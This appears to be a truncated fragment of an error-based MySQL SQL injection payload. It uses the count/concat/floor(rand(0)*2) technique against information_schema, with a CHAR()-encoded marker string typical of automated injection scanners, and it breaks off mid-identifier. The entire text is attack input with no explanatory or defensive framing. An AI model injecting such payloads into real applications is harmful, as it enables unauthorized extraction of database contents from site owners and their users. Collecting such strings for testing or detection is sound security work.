and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(112),CHAR(120),CHAR(116),CHAR(98),CHAR(122),CHAR(112),CHAR(102),CHAR(118)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.t